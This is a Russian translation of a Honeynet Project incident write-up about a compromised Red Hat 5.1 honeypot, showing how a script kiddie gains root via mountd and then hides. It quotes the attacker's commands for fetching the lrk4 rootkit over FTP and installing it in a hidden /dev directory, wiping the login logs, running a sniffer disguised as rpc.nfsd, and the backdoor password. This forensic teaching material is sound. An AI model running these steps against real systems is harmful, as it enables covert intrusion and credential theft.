 |  |
https://bugtraq.ru/library/security/enemy3.html |
|
|||
|
|
|
||
| https://bugtraq.ru/library/security/enemy3.html |
||||
| ||||
©
Проект Honeynet
http://project.honeynet.org
Последние изменения: 27 марта, 2000
©
Мяснянкин В.В., перевод на русский язык
5 июня 2001
Эта статья, третья в серии, также посвящена Script Kiddie. Первая статья касалась вопросов поиска ими уязвимостей систем, вторая - определения этих попыток и идентификации использованных средств. В этой статье мы рассмотрим, какие действия предпринимает злоумышленник, получив права администратора (root); в частности, каким образом он заметает следы и что делает дальше. Вы можете получить исходные данные, использованные для написания этой статьи, здесь.
Как мы узнали в первой статье, Script Kiddie - понятие, относящееся не столько к конкретной личности, сколько к стратегии, стратегии поиска чего-либо легко уничтожимого. Эта стратегия не ставит своей целью доступ к определенной информации или атаку на определенную компанию; ее цель заключается в получении административного доступа максимально простым путем. Нарушители удается достичь этого путем концентрации на небольшом числе уязвимостей, поиска их в Internet и последующем использовании в своих целях. Не стоит недооценивать эту стратегию, рано или поздно они находят уязвимую систему.
Как только нарушитель находит уязвимую систему и получает в ней административные права, первый предпринятый им шаг - заметание следов. Он хочет быть уверенными, что Вы не заметили вторжения и не контролируете его действия. После этого, как правило, система используется для сканирования других сетей или скрытного мониторинга Вашей. Чтобы лучше понять, как именно это происходит, мы пошагово отследим компрометацию системы нарушителем, использующим тактику Script Kiddie. Наша система, под названием mozart, работала под управлением Red Hat Linux 5.1 и была скомпрометирована 27 апреля 1999 года. Ниже приведены реальные действия нарушителя, с выдержками из системных журналов регистрации и записями введенных команд на каждой стадии. Все системные журналы фиксировались на защищенном syslog-сервере, а данные, которые злоумышленник набирал на клавиатуре перехвачены с использованием sniffit. Для получения дополнительной информации на том, как эта информация была получена, ознакомьтесь с документом "Honeynets". Далее в этой статье мы говорим о нарушителе "он", хотя мы не имеем каких-либо предположений относительно его пола.
27 апреля, в 00:13, наша сеть была просканирована системой 1Cust174.tnt2.long-branch.nj.da.uu.net на предмет наличия нескольких уязвимостей, включая imap. Наш нарушитель вел себя достаточно шумно, он просканировал все адреса (для получения дополнительной информации по обнаружению и анализу фактов сканирования, см. вторую статью данной серии).
Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174
Очевидно, он нашел что-то подходящее для себя, так как возвращался еще два раза, в 06:52 и 16:47 в тот же день. Теперь он начал сканировать более подробно, сосредоточившись на системе под названием mozart. Ему удалось обнаружить типичную для Red Hat 5.1 уязвимость в mountd и провести успешную атаку с ее использованием. Ниже мы видим фрагмент /var/log/messages показывающий, как злоумышленник получил права root. Вероятнее всего была использована программа ADMmountd.c или что-то подобное.
Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client 208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
Сразу после атаки, как мы видим в /var/log/messages, наш нарушитель получил привилегированный доступ, сперва зайдя по протоколу telnet как пользователь crak0, а затем - переключившись (su) на пользователя rewt. Обе эти учетные записи были добавлены атакующей программой. С этого момента нарушитель получил полный контроль над системой.
Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
FOR crak, User not known to the underlying authentication module
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0)
Итак, нарушитель в системе и имеет права администратора. Как мы сейчас увидим, следующий предпринятый им шаг - сделать все необходимое, чтобы не быть обнаруженным. Сначала он проверяет, нет ли еще кого-нибудь в системе.
[crak0@mozart /tmp]$ w 4:48pm up 1 day, 18:27, 1 user, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT crak0 ttyp0 1Cust102.tnt1.lo 4:48pm 0.00s 0.23s 0.04s w
Убедившись, что никто ему не помешает, он хочет поскорее скрыть следы своего пребывания. Обычно это подразумевает удаление всех доказательств его присутствия из системных регистрационных журналов и заменой системных утилит типа ps или netstat их троянскими аналогами, чтобы Вы не смогли обнаружить его присутствие в Вашей системе. Как только троянские программы установлены, нарушитель получает полный контроль над системой, а Вы, скорее всего, даже не будете знать об этом. Наряду со средствами автоматизации взлома систем, существуют и автоматизированные средства для сокрытия нарушителя, так называемые rootkits. Одно из наиболее известных - lrk4. Целый набор критических с точки зрения безопасности системы файлов заменяется путем простого запуска сценария, в течение считанных секунд обеспечивая нарушителю дальнейшую невидимость. Более подробную информацию о rootkit можно получить, ознакомившись с файлом README, который идет в комплекте с lrk4. Это позволит Вам понять принципы работы rootkit. Я также рекомендую Вам просмотреть текст под названием hide-and-seek (прятки), написанный черными шляпами (т.е. теми, кого мы изучаем) и посвященный сокрытию следов.
Всего через несколько минут после компрометации системы мы видим, что нарушитель загружает rootkit и запускает сценарий его установки командой " make install". Ниже приведены введенные нарушителем команды.
cd /dev/
su rewt
mkdir ". "
cd ". "
ftp technotronic.com
anonymous
fdfsfdsdfssd@aol.com
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
ls
tar -zxvf lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ". "
ls
make install
Обратите внимание на то, что сначала наш нарушитель создал скрытый каталог ". " для размещения rootkit. Этот каталог не виден по команде "ls", и выглядит как текущий каталог по команде " ls -la ". Единственный способ обнаружить этот каталог - с помощью команды "find" (если конечно Вы уверены в ее целостности).
mozart #find / -depth -name "*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/
Наш нарушитель, возможно, искушен в использовании троянских программ, однако для очистки системных журналов регистрации он избрал более простой способ. Вместо использования специальных утилит типа zap2 или clean, он просто скопировал /dev/null в /var/run/utmp и /var/log/utmp, а также удалил /var/log/wtmp. Приведенная ниже ошибка сразу указывает нам, что в системе что-то не так:
[root@mozart sbin]# last -10
last: /var/log/wtmp:
No such file or directory
Perhaps this file was removed by the operator to prevent logging last info.
Как только система скомпрометирована, нарушители имеют обыкновение делать одну из двух вещей. Во-первых, они могут использовать Вашу систему как стартовую площадку для сканирования или компрометации других систем. Во-вторых, они могут просто затаиться и наблюдать, что интересного можно еще получить от Вашей системы, например пароли к другим системам. Наш нарушитель избрал второй вариант - "залег" и стал наблюдать. Он установил в нашей системе программу-сниффер (sniffer), которая захватывает весь сетевой трафик, включая сеансы telnet и ftp с другими системами. Таким образом, он может узнать регистрационные имена и пароли. Мы можем наблюдать включение режима promiscuous mode (режим сетевой платы, при котором она принимает все проходящие по кабелю пакеты, а не только адресованные ей) в /var/log/messages вскоре после компрометации системы.
Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.
После установки троянских программ, удаления следов своего присутствия и запуска программы-сниффера наш нарушитель отсоединился от системы. Однако, он вернулся на следующий день, чтобы просмотреть захваченный сниффером трафик.
Так как наш "друг" отсоединился от системы, это дало мне шанс спокойно посмотреть, что же с ней действительно произошло. Мне было интересно узнать, какие программы он заменил и где хранятся результаты работы сниффера. Сначала я быстро проверил с помощью tripwire, какие файлы подверглись изменению. Обратите внимание, что запускать tripware всегда надо только из надежного источника. Я предпочитаю запускать статически слинкованную tripware, размещенную на защищенной от записи дискете. Tripwire выдала следующую информацию.
added: -rw-r--r-- root 5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid added: -rw-r--r-- root 272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log changed: -rws--x--x root 15588 Jun 1 05:49:22 1998 /bin/login changed: drwxr-xr-x root 20480 Apr 10 14:44:37 1999 /usr/bin changed: -rwxr-xr-x root 52984 Jun 10 04:49:22 1998 /usr/bin/find changed: -r-sr-sr-x root 126600 Apr 27 11:29:18 1998 /usr/bin/passwd changed: -r-xr-xr-x root 47604 Jun 3 16:31:57 1998 /usr/bin/top changed: -r-xr-xr-x root 9712 May 1 01:04:46 1998 /usr/bin/killall changed: -rws--s--x root 116352 Jun 1 20:25:47 1998 /usr/bin/chfn changed: -rws--s--x root 115828 Jun 1 20:25:47 1998 /usr/bin/chsh changed: drwxr-xr-x root 4096 Apr 27 17:01:16 1999 /usr/sbin changed: -rwxr-xr-x root 137820 Jun 5 09:35:06 1998 /usr/sbin/inetd changed: -rwxr-xr-x root 7229 Nov 26 00:02:19 1998 /usr/sbin/rpc.nfsd changed: -rwxr-xr-x root 170460 Apr 24 00:02:19 1998 /usr/sbin/in.rshd changed: -rwxr-x--- root 235516 Apr 4 22:11:56 1999 /usr/sbin/syslogd changed: -rwxr-xr-x root 14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd changed: drwxr-xr-x root 2048 Apr 4 16:52:55 1999 /sbin changed: -rwxr-xr-x root 19840 Jul 9 17:56:10 1998 /sbin/ifconfig changed: -rw-r--r-- root 649 Apr 27 16:59:54 1999 /etc/passwd
Как Вы можете заметить, изменению подверглось большое количество программ и файлов. В файле /etc/passwd нет новых учетных записей (он поступил мудро, удалив записи crak0 rewt), значит, нарушитель оставил черный вход в одной из измененных (троянских) программ. Также появилось два новых файла: /usr/sbin/sniff.pid и /usr/sbin/tcp.log. Не удивительно, что /usr/sbin/sniff.pid оказался pid (process ID - идентификатор процесса) сниффера, а /usr/sbin/tcp.log - файлом для сохранения захваченного трафика. Судя по данным из /usr/sbin/sniff.pid сниффер запущен как rpc.nfsd. Нарушитель скомпилировал сниффер (в нашем случае - linsniffer) и заменил им rpc.nfsd. Это гарантирует, что в случае рестарта системы сниффер будет запущен снова процессом init. Команда strings подтвердила, что rpc.nfsd именно сниффер:
mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
sniff.pid
eth0
tcp.log
cant open log
rm %s
После осмотра системы и уяснения сути внесенных изменений, я вернул систему в исходное состояние. Мне было любопытно, какие шаги предпримет нарушитель дальше. Мне не хотелось, чтобы он понял, что я его обнаружил, поэтому я удалил все следы моего входа в систему из /usr/sbin/tcp.log.
На следующий день наш "друг" возвратился. Просматривая вводимые им команды, я быстро обнаружил, что черный вход был оставлен в /bin/login. Эта программа, используемая, в том числе, и для входа по протоколу telnet, давала доступ с привилегиями root пользователю "rewt" с паролем "satori". Пароль "satori" заданный по умолчанию для всех троянских программ из набора lrk4, указывает на факт компрометации Вашей системы.
Нарушитель проверил, функционирует ли его сниффер. Также он захотел посмотреть, не попалось ли в его сети имен и паролей со вчерашнего дня. Вы можете посмотреть запись его действий в файле keystrokes.txt. Обратите внимание на последние записи - наш нарушитель остановил сниффер. Это было последнее его действие перед отсоединением. Однако, он быстро вернулся, всего через несколько минут, с одной целью - запустить сниффер снова. Я затрудняюсь высказать какие-либо предположения, почему он поступил именно так.
Процесс проверки системы продолжался в течение нескольких дней. Каждый раз нарушитель соединялся с системой, чтобы проверить, работает ли сниффер, и не наловил ли он ценной информации. По прошествии четырех дней, я решил, что этого достаточно и отключил систему от Internet. Я получил достаточно сведений для анализа, а узнать что-то новое не предвиделось.
В этом документе мы увидели от начала до конца, какие действия могут предпринимать нарушители, получив права root в Вашей системе. Обычно, нарушитель начинает с проверки, нет ли еще кого-нибудь в системе. Убедившись, что путь свободен, он удаляет следы своего присутствия путем очистки системных журналов регистрации, а также подмены или модификации критичных файлов. Надежно замаскировавшись, он переходят к новым, более разрушительным действиям. Эта тактика вряд ли претерпит кардинальные изменения, так как новые уязвимости обнаруживаются постоянно. Чтобы лучше защитить себя от такого рода угроз, я рекомендую укрепить Ваши системы. Простое укрепление системы защитит от большинства угроз со стороны Script Kiddie, так как они обычно ищут системы, с которыми легко расправиться. Информацию о том, как укрепить Ваши системы можно получить в документах Armoring Linux или Armoring Solaris. Если совет опоздал, и Вы чувствуете, что Ваша система уже скомпрометирована, Вам полезно будет посетить сайт CERT и прочесть на нем документ " Recovering from an Incident ".
| обсудить | все отзывы (0) | |
| [33632; 24; 8.5] |
|
|
|